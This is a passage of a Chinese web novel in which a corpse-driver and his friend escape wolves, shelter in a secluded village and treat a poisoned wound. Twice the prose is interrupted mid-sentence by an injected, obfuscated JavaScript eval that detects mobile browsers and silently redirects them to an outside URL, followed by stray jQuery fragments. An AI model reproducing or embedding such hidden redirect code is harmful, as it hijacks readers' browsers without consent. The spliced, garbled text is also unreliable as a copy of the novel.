喃喃低语几句后,他拉起薛暮冉,眼神凄厉:“对不住了兄弟!如果今夜能活着回去,我一定补偿你!”
满眼疑惑的薛暮冉刚想出言相问,柳水鹤却自顾自往桐柏山的方向跑去,一边大叫:“快逃命啊!”
看向那片密林,薛暮冉一时有些踟蹰,他忽然间发现,自从碰到柳水鹤,自己就一直在倒霉,碰见僵尸,郑明夫妻惨死……自己却好像着了魔一样跟着他四处跑,甚至还打算去捉逃掉的那只僵尸。
空气中的臭味越发浓重,甚至变得肉眼可见起来。他伸出手掏了一把,手心里一层细细的黄沙。
风儿吹走的云朵,月光重新洒向大地,他眯起眼睛,看向远处的林子,逐渐看清了那群黑压压的东西是什么,一下子瞳孔放大,蓄满了惊恐之意。
那是一群摇着尾巴的野狼,在黑夜中觅食,点点荧光是他们饥饿的眼睛,阵阵腐臭味来自他们口中的美味佳肴。
不,很快它们的食物就变成新鲜可口的活人肉了。
想到这里,薛暮冉才反应过来,疯狂地跑向桐柏山方向。也许是恐惧驱使,也许是天生神力,薛暮冉竟然追上了柳水鹤,并将他甩在身后,率先到达山脚下。
只可惜,接下来的事情还是让他犯了难。
眼前的山崖光滑一片,没有可以攀登的突出石岩。他绝望的看向姗姗来迟的柳水鹤,一脸悲怆。
柳水鹤喘着粗气,一边抚摸着光滑的山岩,终于,叹了口气,道:“看来——哈——今夜——哈——咱们,是难逃一劫了。”说完,依旧抚着胸口大声呼吸,似乎想在死前再感受一把活人的知觉。
“话说,你吃了这闭息丹还能跑这么快?你到底是什么人啊?”柳水鹤扶着腰,缓了缓气息,问道。
“我怎么知道,可能天生神力吧。”
“那身后那群野狼就交给你了,天生神力兄。”柳水鹤白了他一眼,重新端详起眼前的悬崖峭壁,深思片刻,忽然一拍手,笑道:“你说,这群野狼吃你一个人能不能吃饱?”
“在它们吃我之前,我先打晕你!咱们一个都跑不掉!”薛暮冉摩拳擦掌,掰得骨节咔咔作响。
论体力,他不一定输给柳水鹤,虽然对方比他高,比他强壮,但是不知道为何,薛暮冉却很有自信。也许是因为对方身上那股子阴气,有点像死人堆里的味道,而他,早已经习惯了跟死人打交道。
死人再强壮,也不过是个躯壳罢了,重要的还是身体里的精神气。他相信自己的精神力量足够强大,不说除妖伏魔,但是干掉一只小鬼还是绰绰有余的。
这也是为什么,他轻易答应跟着对方一起捉僵尸的原因。
只是眼下,要对付的是一群野兽。
俗话说,不怕你横,就怕你不要命。什么东西不要命?自然是没有意识的东西。动物是没有思想的,至少,不像人类那样想得多。
就好像狼群,可以不要命地去围攻比自己强大的狮子老虎,就为了填饱肚子。
更何况,站在它们面前的只是精瘦的两脚动物。没有尖锐的牙齿,锋利的爪子。跑步速度也不快,甚至还会互相算计。
它们缓缓接近,围成半圆形。
往左右两边,沿着山脚跑,注定赛不过狼群的四只脚,所以他们在一开始就放弃了这个选项。
原以为可以爬上山,躲过一劫,却没想到这是一座光滑如镜的悬崖。
狼群逐渐靠近,传来粗重的呼吸声,为首的那只堪称狼中之王,眼神凶悍,额间一撮白毛,体型巨大,有半人高,咧开嘴,露出白森森的獠牙。
“脱衣服!”柳水鹤掏出火折子,从腰间抽出酒壶,满脸英勇就义的悲壮模样。
一看这个架势,薛暮冉多少也明白了对方的意思,看来是打算用火攻了。他连忙脱下棉袄,露出白色的棉布衬衣,刚准备继续脱,一下子冻得浑身打颤。
他抱住胳膊,牙齿直打架,断断续续说道:“不行,太冷了,这衣服不能烧……”
话音未落,柳水鹤一口酒喷出去,火折子随之掉落,火焰四起,罩住两人,吓得狼群后退了几步。
见暂时得救,柳水鹤才缓过神来问道:“你刚刚说什么?”
黑色的棉袄已经燃烧成苍白色的灰烬,薛暮冉只好苦着脸摆手道:“没事了。”
借着酒精,地上的枯草也跟着噼里啪啦烧起来,很快蔓延到两人的脚底下。薛暮冉赶忙连手带脚清理出一小片空地,两人得以暂时躲避火焰跟狼群。
冬日里的杂草失去水分,加上连日来的大晴天,空气干燥,火势越变越大。借助风吹,零星的火点飞到狼群之中,燃起火花,吓得那群混沌的动物慌忙逃窜,后退数十步。只是天公不作美,很快风儿变了方向,吹起地上的草灰往二人脸上扑来,呛得他们涕泗横流,说不出话。
灰尘吹进眼睛,刺疼无比,慌乱之间,二人只能用手不断擦拭眼睛,才能勉强看清那群作势欲扑的野兽。
俗话说,巧妇难为无米之炊,这大火也是一样的道理,枯草燃烧殆尽,自然也引发不了火灾。
泪水朦胧间,火势渐微,柳水鹤连忙又喷出一口酒,也不过翻起来一阵小火花,再没有方才火烧连营的阵仗。
拿着酒壶的手不断颤抖,在严冬天气,他额头竟然渗出一排汗珠。见他如此不中用,薛暮冉夺过酒壶,摇了摇,立刻震惊道:“空了?”
“啊?”柳水鹤呆若木鸡,仿佛听不懂他的话一般,喃喃自语起来,“完了,想不到我柳水鹤一世英名,还没娶上媳妇儿,就要命丧这群畜生的嘴下,我不甘心啊!”
狼群逐渐逼近,吭哧有声,怒气隐隐,一只只都瞪大了铜铃一般的眼珠子,盯着眼前的两个异类。
眼见逃脱无门,薛暮冉大叫一声:“天啊!要是你今天可以救我们一命,我一定结草衔环,报答您老人家!!!”
连着呼号数十遍,忽的从峭壁之上垂下来两条手腕粗细的绳子,两人俱是一惊,抬头望去,山顶上乌黑黑一片,看不见人影。
正在犹疑之际,一只饿狼已经忍受不住,率先冲过来,被柳水鹤一脚踢开。他抓住绳子掂了掂,似乎十分结实,于是双手抓住绳索,双脚一盘,飞速上移。
狼群似乎也吃了一惊,很快反应过来,也不顾地上的剩余的火花,四足飞速前进,想抓住薛暮冉饱餐一顿。
眼见同伴已经上爬了好几米的距离,薛暮冉也赶忙抓着绳子往上攀岩。忽然脚腕一疼,原来那只狼王竟然飞冲上来咬住他,一双眼睛凶残不已。
薛暮冉忍住疼痛,双手死死拽住绳索,用完好的那只脚使劲踢向狼头,下脚极重。
可是那狼□□力也十分坚强,死咬住薛暮冉不放,四足凭空乱摆了半晌,忽然两只前足抓住薛暮冉的脚,一双利爪直接扫过去,便传来钻心的疼。
情急之下,薛暮冉也下了狠心,直接对准狼王的双眼踢去。但是因身体悬空,不好控制准度,导致踢空了好几下。
索性最后一击直接踢爆狼王的左眼,狼王吃痛,一下子松开嘴跌了下去。趁此机会,薛暮冉飞速上爬。不知过了多久,寒热交加,他脑子也昏昏沉沉起来,只觉得头重脚轻,双手一松,却被上方一人抓住,将他一把提了上去。
恍惚间,他好像看见了一堆火焰,让他在寒夜里感受到一丝温暖。
阿嚏——
等他再次醒来,已经不知过去了多长时间,只是眼前依旧昏暗。薛暮冉支撑着起身,发现身上盖着一层毛茸茸的动物皮毛制成的毯子,花斑纹路,看不出是什么品种的。
他摇了摇头,只觉得头昏脑涨,眼睛干疼。往四周望去,眯着眼睛好一会,这才看清眼下自己所在的地方,原来是一处洞穴。
阳光从洞口照进来,在墙壁上投下一处光斑。他披着那件皮毛毯子,慢慢直起身子,忽然脚腕一疼,他低头看去,脚上已经包扎了一圈灰色的布条,边缘层次不齐,也不知道是哪里撕下来的。
好不容易走到洞穴口,薛暮冉写了口气,再往下看去,一时间云深雾绕,有些眼花,他连忙扶住墙壁这才没有晕倒。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988019|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这时洞穴深处传来说话声,他靠在墙壁上,喘着粗气,紧紧盯着那黑洞洞的方向。直到柳水鹤那张脸出现在眼前,他才松了一口气,缓缓坐到地上,问道:“这是怎么回事?”
柳水鹤指着身后的人笑道:“这是云黎,就是他扔下的绳子。”
那人比柳水鹤矮一点,瘦削身材,套着深蓝色的短卦,裤脚捋到膝盖,脚上竟然穿着草鞋,已经磨得破旧不堪,跟拖鞋没有两样。
大冬天作如此打扮,一看就不太正常。薛暮冉忍不住警惕起来,只可惜手脚无力,捏起的拳头也不过是绣花枕头。
“云黎是住在这附近乡村里的人,因为这山里时常有野兽出没,所以他们在这山头上设了一个据点,观察野兽动向。昨夜我们点起来的大火引起了他注意,这才扔下绳子救了我们。”
听完柳水鹤的解释,薛暮冉心中依旧疑问不断,比如他刚好身边常备两条绳子吗?再比如,为什么直到最后他才扔出绳子救命?
似乎看出了他的疑问,云黎走过来,从怀里掏出几只热乎乎的红薯递过来,笑道:“那两条绳子是从柴火担子上解下来的,耽误了点时间,差点没赶上。还好最后你们还是爬上来了。”
经过一夜的奔波,薛暮冉腹内饥饿难忍,经过短暂的心理斗争,终于还是接过热乎乎的红薯狼吞虎咽起来。
不到片刻,一只手掌大的芋头被他吃得连皮都不剩。
得知脚腕伤到筋骨,这几天都不能用力,薛暮冉只好由柳水鹤背着下山,打算先去云黎的村庄修整几日。
沿着山路往下,沿途仿佛经过了春夏秋冬四季一样。山顶草木枯黄,寒风彻骨。越往下,温度越高,周遭树木绿意盎然,脚边的花儿五颜缤纷。
柳水鹤气喘吁吁,满头大汗,嚷嚷起来:“热死了,你把那毛毯子扔下来不行吗?”
“我倒是想扔,要不是你刚刚让我裹紧一点,现在至于拽不下来吗?”
两人一人一句,互不退让,一旁的云黎满脸笑意,指着前方大声道:“快到了,再忍忍,再说了,薛兄弟你脚伤严重,不能吹风,等到了就好了。”
远处隐约可以看见几间茅草屋,隐藏在苍翠的树木之中,旁边有一汪湖泊,颜色宛如绿玉,清澈见底,在阳光下闪耀着粼粼波光。
空气清新,夹杂着草木香气,令人神清气爽。两人精神为之一振,柳水鹤的脚步都轻盈起来。
很快到了村子口,路边摆着一尊大石,刻着寻水乡三个大字。
村名倒是没什么问题,只是那石头一人多高,不知道是本身就在此处,还是后人搬过来的。那三个字银勾铁划,苍劲古朴,隐隐透出一股蓬勃不息的气势,令薛暮冉暗暗赞叹不已。
一进村子,生活气息扑面而来。几只随地散步的公鸡乱叫个不停,黄毛狗追赶着长脖子的大鹅,在栅栏里左奔右跳。水鸭子扑闪着翅膀飞进湖里,互相追逐……
家家户户的屋顶上都冒出淡白色的烟雾,飘出阵阵饭菜香味,只是其中还夹杂着少许硫磺的气味。
柳水鹤说出心中疑惑,云黎笑着解释道:“这群山之中,蛇虫鼠蚁众多,为了躯干蚊虫,各家各户都会在院子四周放置一些石台,里面装满硫磺。久而久之,已经形成习惯,都不觉得气味难闻了。”
“原来如此啊,对了,我学过用硫磺制作鞭炮呢,回头扎几个给你看看!”柳水鹤道。
此时日当正午,已经到了午饭时候。一想到此,薛暮冉肚子就咕噜咕噜叫起来,柳水鹤隔着一层毛毯都感受到他肚子的躁动,笑道:“再忍忍,等会就能吃饭了,吃晚饭我得好好睡一觉,可累死我了!”
经过几户人家,沿途碰见好几个上了年纪的女人迎面走来,她们看见生人,面色一下子变了,交头接耳起来,走近之后却仍旧眉目慈祥的冲他们微笑。
云黎一一打过招呼,满面乖巧。薛暮冉心里嘀咕,也许是老人家不喜欢外客到来,但对云黎的友善很显而易见,可见他在本地人缘很好,心里的怀疑又减少了几分。
很快到了云黎的家,推开门进去,一个头发全白的老妇人迎了上来,眯着浑浊的眼睛絮絮叨叨:“阿黎啊,怎么才回来啊?我可担心死了。”
云黎面上一红,似乎不太习惯这亲昵的场景被外人看见,干咳两声后,跟他们介绍起来,眼前的这位老妇人正是云黎的奶奶。
顺便又将昨夜的事情经过简单跟老人说了一遍。
老人顿时担心不已,似乎十分担心孙子的身体。云黎好说歹说,终于让老人放下心,去准备午饭。
三人顿时松了一口气。
柳水鹤将背后之人缓缓放下,放在板凳上坐稳,这才松动筋骨,大笑一声:“可累死我了!”
薛暮冉推开身上的毯子,满头大汗,一头短发贴在额头,脸色煞白,嘴唇毫无血色。云黎给他倒了杯凉水,脸上浮现担心的神色,问道:“还好吧?”
“就觉得热,其他的好像没什么。”薛暮冉摇起手来扇风,忽然一阵头晕目眩,浑身燥热,脑袋却好像掉进了冰窖一样寒冷,顿时失去了意识。
4. 第四章 狼有毒,药无救
见薛暮冉浑身抽搐,口角涎水直流,云黎连忙上前扶起他,掀开裤脚查看,顿时脸色铁青。原来薛暮冉的脚腕已经肿胀成了发面馒头,还是紫色的。
两人扶着薛暮冉去床上躺下,柳水鹤沉吟起来,“看来那狼群头子牙齿有毒啊,这下糟了。”
传说,山中野兽闻惯了林间瘴气,吃多了崖边毒果,一口獠牙剧毒无比。狼族的獠牙更是其中翘楚,是除了蛇群以外,最剧烈的猛药。中了狼毒的人只能缓解,终生不能根治,除非大罗神仙在世,否则再难痊愈。
“吃饭啦!”老妇人穿着棉布鞋,走路悄无声息,将床边的两人吓了一跳。
“这是——怎么啦?”云奶奶迈着小碎步走过来,盯着床上的病人,一脸凝重。又推开站在床边的两个大男人,借着窗口的光仔细端详起来。
柳水鹤将昨夜遇见狼群的经过简单描述过后,老妇人这才松开眉头,笑道:“原来是被狼咬了啊,没什么大事,找你庄爷爷那里讨点草药,喝个几天就好了。”
“奶奶,庄爷爷的草药连头疼发热都治不好,还能治这狼毒啊?”云黎面露难色。
“那是因为你庄爷爷年纪大了,抓错药了。以前别说头疼发热了,连死了一刻钟的人都能给你救回来。”云奶奶狠狠拍了一下孙子的头,催促他去抓药。
见床上的人白眼直翻,手脚抽动不已,云黎无奈,看向柳水鹤道:“你等我一会,就当赌一把。”
说完转身出门,直冲向村子后面的茅草屋。
穿过两三户土黄色草房子,一间土砖搭建的院子出现在他眼前,这里就是村中唯一土砖建筑,住着村里唯一的大夫——云庄老先生,大家都称呼他为庄老。
黄木制成的院门因为多年的雨打风吹,四角都已经裂开。转轴处被铁丝绑住,勉强还能继续转动不至于散架。
径自推门进去,满鬓雪白的老者独自坐在院子里吃饭。自从云黎有记忆以来,庄老的模样就没变化过。满脸沟壑纵横,岁月的刻刀毫不留情的在上面留下印记。嘴巴都被白胡子遮住,只能看见胡子随着咀嚼一动一动。
也许是人活得越老反而越明白,他那双眼皮松弛的眼睛出奇的雪亮,透出来孩童的天真与单纯。
说明来意后,老人放下筷子,摸着下巴上的白胡子沉吟不语。他虽然须发全白,脸颊却红润光泽,一时间也看不出年岁。
印象中,云黎从小就听别人叫他庄老,至于到底有多老,村里人也说不清。
此刻见他那副不焦不躁的样子,云黎急得不断搓着双手,刚想离开,却听那老人开口道:“狼牙本身无毒,多半是狼群吃了带毒的野草,导致牙齿上沾染了毒性,这倒也不难。只是这事情来的蹊跷,你知道那二人是什么来历吗?”
这话倒是提醒了云黎,他跟那二人不过昨夜才相识,也仅仅是知道名字的程度,身世背景,丝毫不知,竟然就带了外人进入村子。
如此不谨慎!
村中一直有条不成文的规矩,除非是得到允许,否则居民不得私自外出。同时,也不能随便带外人进来。
但是近年来,因为鲜有外人经过,逐渐地,这个规矩也只有老人在说往事的时候随口带过。
听村里老人说,很久以前,村里有个年轻男人带了一个女人回来,结果全村都遭受诅咒,土地荒废,水源剧毒,不得不全村转移到此处深山之中苟活。
他支支吾吾,说不出个所以然,老人倒也不生气,只呵呵淡笑了两声,继续道:“年轻人,善良是好事,但是得有脑子,这个世界不是想象中的那么美好,如果不小心翼翼的打算着,说不准明天我们就家破人亡了。”
老人一向喜欢夸大其词,云黎心里虽然歉疚,私自带了外人回来,但是内心也明白,再怎么严重,那两个陌生人也不至于让整个村子灭亡。
更何况,其中一个已经濒临死亡。
老人叹了口气,缓缓走回房,说:“我去抓包药,你记得要用砂锅,不能用铁锅,先大火,然后转小火,慢慢煎煮,大概两个时辰左右……”
交代完注意事项,云黎半信半疑带着药包回去。他将手里的桑皮纸包裹的中药放到鼻子下面闻了闻,一股草木的清凉气味儿直冲大脑。他回想起前不久受凉发热,喝的药似乎也是这个味道,顿时心中五味杂陈,有些摸不准到底要不要让薛暮冉试试这个药。
拎着药包,心情复杂的走回自家茅草屋,看见奶奶已经拿出药罐子,洗刷干净,连炉子都生好火,就等着药材下锅。
柳水鹤拿着半截竹筒,鼓着腮帮子往炉子里吹气,但是柴火潮湿,最后只有阵阵浓烟冒出来,呛得他眼泪直流,咳嗽不已。
屋檐下放着一张板凳,奶奶坐在上面,微微前倾着身子望着火炉,乐得呵呵直笑,想过去帮忙,却被柳水鹤笑着送过去坐好,笑道:“老奶奶唉,您就安心坐着,今天我要是不能把这火点起来,我就不姓柳了!”
“那你要改姓云吗?”云黎打起精神,挤出一丝笑容走过去,“药草我带回来了,不管怎么样,先试试再说吧。”
拆包,洗药,烹煮。
很快,整个屋子都弥漫着一股说不出来的气味,甜丝丝的,又带着几分苦涩。
太阳升到头顶上,几人才想起来还没吃饭,一阵风卷残云过后,桌面一片狼藉。柳水鹤自告奋勇去收拾碗筷,云黎看着火炉,以免将药草煮坏,云奶奶则打了个哈欠,去里屋休息。
云黎坐在门口台阶上,盯着眼前的药罐发呆。他自小生活在深山之中,却对外面的世界十分向往。
四五年前,有个外乡人历经千辛万苦,来到此地求药。当时云黎还不到二十岁,眼见着村长刘广肃拒绝那个年轻男人,他站在人群之中,想帮忙,却无能为力。
那人来求的是起死回生的灵药。
任凭是谁,都无能为力。可那异乡人却不死心,以为是村里人想要报酬,掏出来一整包的金银珠宝,作为交换。
村长依旧冷面拒绝,不愿意给予对方虚无的期望。但是怀璧无罪,有人心里却生了贪婪的念头。
村子西面有一户人家姓李,长子李鸣光自小去了县城学习木匠手艺,见过外界的花花绿绿,他知道那些财宝的价值,于是暗地里盘算起来。
最后那异乡人带着希望进入深山寻找神药,不知去向。李鸣光却得了全部的报酬,一夜之间,全家搬离了寻水乡。
自此之后,村长带领着村中诸人在附近种植数目,遮挡村子,防止再被外人发现。此后这些年,倒是在没有外人来到村子里,直到今天。
这时屋内传来痛苦的呻吟,云黎丢下扇子跑了进去,见薛暮冉满头汗水,躺在床上,脸色发青,脚腕肿的堪比象腿。
他算了算时间,还要半个时辰草药才能煎好,虽然心急如焚,但是却无法可为。这时一阵臭味袭来,他下意识以为是薛暮冉脚伤崩裂,结果查看一番后发现那脚腕虽然像塞足了肉馅的猪大肠,即将崩裂,却还是完好。
抬头一看,柳水鹤撸着袖管走过来,随风飘过来一阵汗馊味。
“柳兄,你几天没洗澡了?”云黎皱着眉头问道。
“洗澡?”柳水鹤闻闻自己,沉思起来,“入冬以后就没洗过了吧,记不清了。”
“院子后面有口井,你去打点水冲冲吧,别等会薛兄弟醒了也要被你熏得晕倒。”
虽是严寒冬日,但此处卧居深山之中,四面无风,温暖如春。井水更比河水温热,用来冲澡是再好不过。
送走柳水鹤,他摸了摸薛暮冉的额头,果然烫得吓人,然而身体却冰凉无比,仿佛一尊冰块。如此冷热两极,对人身体也是极大的损耗。
思忖片刻后,云黎去院子里的水缸中打来一桶凉水,沾湿毛巾搭在薛暮冉额头。又从厨房里用铁水壶装满热水,用干毛巾包好,小心地塞进被窝中。
过了一会后,薛暮冉脸上才逐渐有了一丝血色。
很快,草药煎好了。
恰好柳水鹤洗完澡,披着道袍走进来,露出雪白而健壮的胸膛,一头长发湿漉漉的散下来,耳边别着一根木棍。
那是原本他用来束发的东西。
于是云黎过滤药渣,柳水鹤扶起薛暮冉。一整碗的药汤喝下去后,薛暮冉脸上逐渐有了光泽,云黎见状,情不自禁露出安慰的笑容。
安顿好病人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988020|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后,两人轻轻掩上门,坐到房檐下的台阶上。
“这次多谢你了,救了我们一命。”柳水鹤说完,将半干的头发竖在头顶,拿木棍一插,一个简单的发髻就盘好了。
“这个也是举手之劳,柳兄不必挂怀。只是有一事想问,还希望你不要觉得冒犯……”云黎看向柳水鹤,得到他的同意后,继续道:“不知道你跟薛兄弟到底是做什么的,又为何出现在桐柏山中……那夜你只说了,被狼群围堵,却没透露因由。寻水乡地方偏僻,少有人来,我不得不……”
话音未落,柳水鹤笑着摇摇头,道:“你的顾虑我明白,其实倒也不是什么秘密,只是一直没来得及跟你细说。”
于是将赶尸经过,以及义庄郑氏夫妻离奇死亡的经过一一道来,云黎听了大惊失色,道:“你的意思是,这山中有一只会伤人的僵尸……我们村子里每天都会有人进山狩猎,这下可危险了。”
说罢,云黎起身准备去村中汇报,却被柳水鹤拦下。
“这僵尸只能在夜间行动,而且僵尸一般只会循着血缘关系,找到自己的血亲,然后杀死至亲之人……”
“为何要杀死亲人?”云黎疑惑道。
“僵尸死而不腐,主要原因就是生前怨气太重。死后失去五感,没有视力,只能依靠本能找到至亲之人,吸取血液,好暂时恢复人身,完成未了心愿。”
“那他为何要杀死那对义庄的夫妻呢?”
“这点我也觉得蹊跷,不过僵尸会感受到活人气息,靠的近了,是会无差别攻击的。但是事情发生的时候还是傍晚,并未入夜。所以我感觉,这只僵尸也许已经吸食过人血,所以恢复了一些人的特质,这才杀死那对夫妻。”
“但是听你说,那对夫妻仅仅是心脏被穿透,并没有被吸血啊,这是怎么回事呢?”
“这个嘛,”柳水鹤额头渗出细细的汗珠,为难地解释,“我也是第一次碰见尸惊的僵尸,这里面的门道,我也搞不清楚……”
云黎托住下巴,猜测起来,“也许那只僵尸已经吸过人血,所以暂时没胃口继续吸,所以只是杀了人也说不定……”
“倒是有这种可能!”柳水鹤附和。
哐当一声巨响,屋内传来铁盆摔倒地上的声音。
两人连忙推门进去,只见薛暮冉已经掉在地上,抱着膝盖左右翻滚着,面露痛苦的神色,嘴里也发出含糊不清的呻吟。
云黎翻开他的裤脚,一看肿胀已经蔓延到了小腿,伤口处不断渗出黄色脓水,发出腥臭的气味。
“这是怎么回事?药物正在起作用吗?”柳水鹤皱眉道。
见这伤势越发严重,云黎心知不妙,抛下一句“扶他上床”后,再次跑到云庄的住处,却发现老人不在房内,只有一位妙龄少女独自在药柜前打扫。
他见那少女面生,心里虽然疑惑,此刻也顾不上了,急忙问道:“那个,庄爷爷呢?有急事——”
少女答道:“庄老上山去了,说是有病人需要医治。我猜,你是为了那个被狼咬伤的人来的吧。庄老跟我说了,那只狼估计也病了,他放心不下……”
“那可怎么办?薛兄弟本来只有脚腕肿,现在整个小腿都快炸开了,这可怎么是好?”
少女皱起眉头,眼波流转,疑惑道:“狼牙本身无毒,无非是误食了附近的毒虫毒草罢了,清热解毒的药草一般都能缓解毒性,怎么会越变越严重呢?”
说完,收拾好药箱,冲云黎说:“前面带路。”
推门进去,薛暮冉汗如雨下,已经润湿了床铺。少女盯着床上的人,愣了一下,神情古怪,良久才上去检查。
看着伤口,少女奇道:“这不是虫草之毒,而是尸毒,真是奇怪。这桐柏山灵气环绕,一般尸体不会僵化,怎么会有僵尸呢?”
云黎看向柳水鹤,神情复杂,一时之间不知是说好,还是继续保密。此时柳水鹤却率先开口,将来龙去脉再次解释一遍。
少女这才恍然大悟,笑道:“尸毒也不难解,只是需要准备一些糯米给他外敷内服,过几天就好了。”
说完准备离开,忽然跺脚道:“糟了,庄老独自上山找狼王去了!”
5. 第五章 纵是旧人应不识
寻水乡深藏群山之中,与野兽作伴,花草为邻,一直相安无事。虽说时常有人进山捕猎,但也严格控制数量,不许人们过度狩猎。
村中每年都有专门的人负责使用山中宝石去交换货币,进县城采买家禽幼仔,所需衣服和其他生活用品。
维持这样的生活并不难,日出而作,日落而息,周而复始,如此一晃,百年时间也都过去了。
众人所依靠的衣食父母,其实是这座桐柏山。
所以庄老经常进山里医治受伤的动物,减少瘟疫的发生。
这次也是一样,狼王中毒,只怕也有危险。为了狼群稳定,庄老孤身一人进山寻找受伤的这位王者。
原本庄老与这群山中动物关系十分融洽,那些野兽也不会攻击他。只是眼下狼王中了尸毒,这会让它失去理智,攻击身边同类。
如此一来,原本融洽的关系会随风飘散,不复存在。
“这么说来,庄爷爷处境危险!”云黎思考片刻后,打算召集村中其他人进山寻找庄老。
“不行!今天不能进山!”云奶奶走了出来,厉声叫道,“十五的月亮十六圆,十七的月亮缺一块。月缺的第一天,寻水乡的人不能出村子一步!”
此话一出,云黎才记起这天正是‘月缺日’。村中明确规定,月缺日的夜里,全村都要严守家中,不能出门。但是云庄老人独自进山还未归来,那只狼王极有可能被尸毒侵染,若是发了狂咬伤其他野兽,这跟瘟疫也没什么两样。
他见奶奶表情严肃,两只无神的眼睛直勾勾看着门口的方向,心下忍不住一阵酸辛。奶奶年老,双目浑浊,看不清事物。这年冬天更是加重了病情,记忆衰退,有时候刚刚发生的事情转眼就忘记。
如果他贸然进山出了什么事,这让奶奶独自一人如何生活?他犹豫了。
这时,少女已经背起药箱,说:“那我自己去吧,你们在家照顾好病人。只要在天黑之前回来就行了,对吧?”
眼前的女孩看上去也就二十左右,脸庞圆润,五官端正,一双眼睛大而无神,齐肩的长发简单束在脑后。
女子尚能有此勇气,云黎只觉得脸上火烧火燎起来,一时之间懊恼不已,心中却已经暗自下了决定。
他安抚好奶奶,让柳水鹤在家照顾薛暮冉,打算独自带着少女进山找人。却被柳水鹤拒绝。
“我说,你去邻居家找个大妈来帮忙照顾算了,我虽然算不上多厉害,至少多我一个也多一点胜算。”柳水鹤说,随即笑起来。
趁着云黎去隔壁打招呼,柳水鹤准备好火折子,杉树皮制成的火把,又从厨房里顺了几块面饼塞进包袱里,以备不时之需。
见女孩独自站在窗前眺望着外面,他上前一步,问道:“对了,我姓柳,柳树的柳,他们都叫我老柳,你怎么称呼?”
“老柳?这个姓挺特别啊,我只记得绿桐乡有一位赶尸的柳姐姐,你认识她吗?”女孩笑了,嘴角露出两个梨涡,显得有些俏皮。
柳水鹤吃了一惊,绿桐乡赶尸的只有他一人姓柳,何来‘柳姐姐’?应该是‘柳哥哥’才是。他刚想出言相问,云黎带着一位三十多岁的女人回来,编了个谎,假托去山上的据点拖点柴火下来,因家中有病人,放心不下,只得请这位大姐帮忙照顾片刻。又拿出来一袋糯米,请大姐敷在薛暮冉脚踝上,剩下的就做成稀饭让他吃下去。
如此安排一番后,他们三人背着行囊往山上快步走去。
此时太阳挂在山的那头,光芒斜照过来,在山脚处投下一大片阴影。
三人刚一踏进山影之中,顿觉一阵幽凉。云黎穿着单薄的春衫,脚上仅有一双草鞋,忍不住打了个寒颤。
见身旁的少女背着沉重的药箱,云黎忍不住问道:“你这个箱子要不我来背吧,对了,还不知道你叫什么,怎么以前没见过你呢?”
“因为你们都不来庄老家啊,我从去年就在这里生活了。”少女笑了笑,“我没有名字,庄老取了一个,叫伴冬。去年冬天我在桐柏山里遇见庄老,当时我恐怕快死掉了,他带我回来,说我们一老一小,互相结伴度过这个苦哈哈的冬天,所以取了这个名字。”
“可是,庄老还说我随便带外人进来,结果他自己默不作声地带了你进来,还住了这么久……”云黎小声嘟囔着。
伴冬转过头,偷偷笑了笑,道:“庄老是个很有意思的老头子,你们应该常来看他,不然等他老糊涂了,你们村子可就没有大夫可以看病了。”
听到这话,云黎一下子来了兴致,刚想针对庄老的医术来辩论一番,忽然柳水鹤拦住他们,仔细闻了闻,低声道:“有尸臭,大家小心。”
此时三人已经行至山中,树林茂密,花草遍地,几缕阳光从树枝间照在地上,形成满地的黄金水泊。
越往高处走,温度越低,花草也逐渐枯黄。
“昨夜碰见狼王是在山的另一侧,而且是山崖的下面。以一个老头子的体力,要想翻过这座山简直是难于登天。”柳水鹤说完,再次仔细嗅了嗅空气。
“动物之间有自己的路,翻山越岭对我们人类来说是难了点,但是对于那些兽类,就是家常便饭一样的存在。而且,那些有了灵性的野兽受了伤会到特定的地点等庄老过去。”伴冬解释道。
又继续往上爬了一段距离,一阵微风刮过,飘起来浓烈的血腥味。伴冬一皱眉,加快脚步往上小跑起来。云黎看向柳水鹤,问道:“该不会?”
“尸臭越来越浓,说不清楚是人身上的,还是动物身上的。”
两人也加快脚步,紧跟伴冬身后。
忽然间,伴冬停下脚步,面前是一处平坦的山地,几棵矮树边的地上铺着一层茅草,上面撒满了深红色的斑点,旁边的树枝上也溅上了一大片殷红的痕迹,一小片淡蓝色布条挂在上面随风飘扬。
柳水鹤上前闻了闻,用手指沾了一些仔细端详,道:“应该是不久前留下的,还没有完全干透。”
“庄老虽然比我们早上山,但是他速度慢,看这血迹的颜色,应该还不到半个时辰。如果这里发生了惨案,我们不可能一点动静都没有察觉……”伴冬往四周看了看,继续道,“这动静太大,要是庄老,肯定一击就倒。只是这山里恐怕还有其他事情发生,我们要抓紧时间。”
云黎揭下那片碎布,疑惑道:“这料子似乎不是寻水乡的东西,柳兄你认识吗?”
“看着好像挺贵的,我对这个也不太懂,”柳水鹤接过那块碎布,竟然觉得有几分眼熟,仔细想了想后,仍旧一片模糊,只好敷衍起来,“可能是哪个倒霉鬼被饿狼盯上,死于非命吧。”
说完,将那块碎布随手扔掉。
沿着地上的血迹,三人往上继续攀爬。日落西山,光影暗淡,眼见即将入夜,云黎忍不住有些焦躁起来。
微光一闪,清风徐来,一阵甜腻清甜的味道从四面八方缓缓靠近,像是被圈进一个蜜汁做成的糖球。
随着伴冬一声大叫:“不好!”身影一闪,已然跳开。
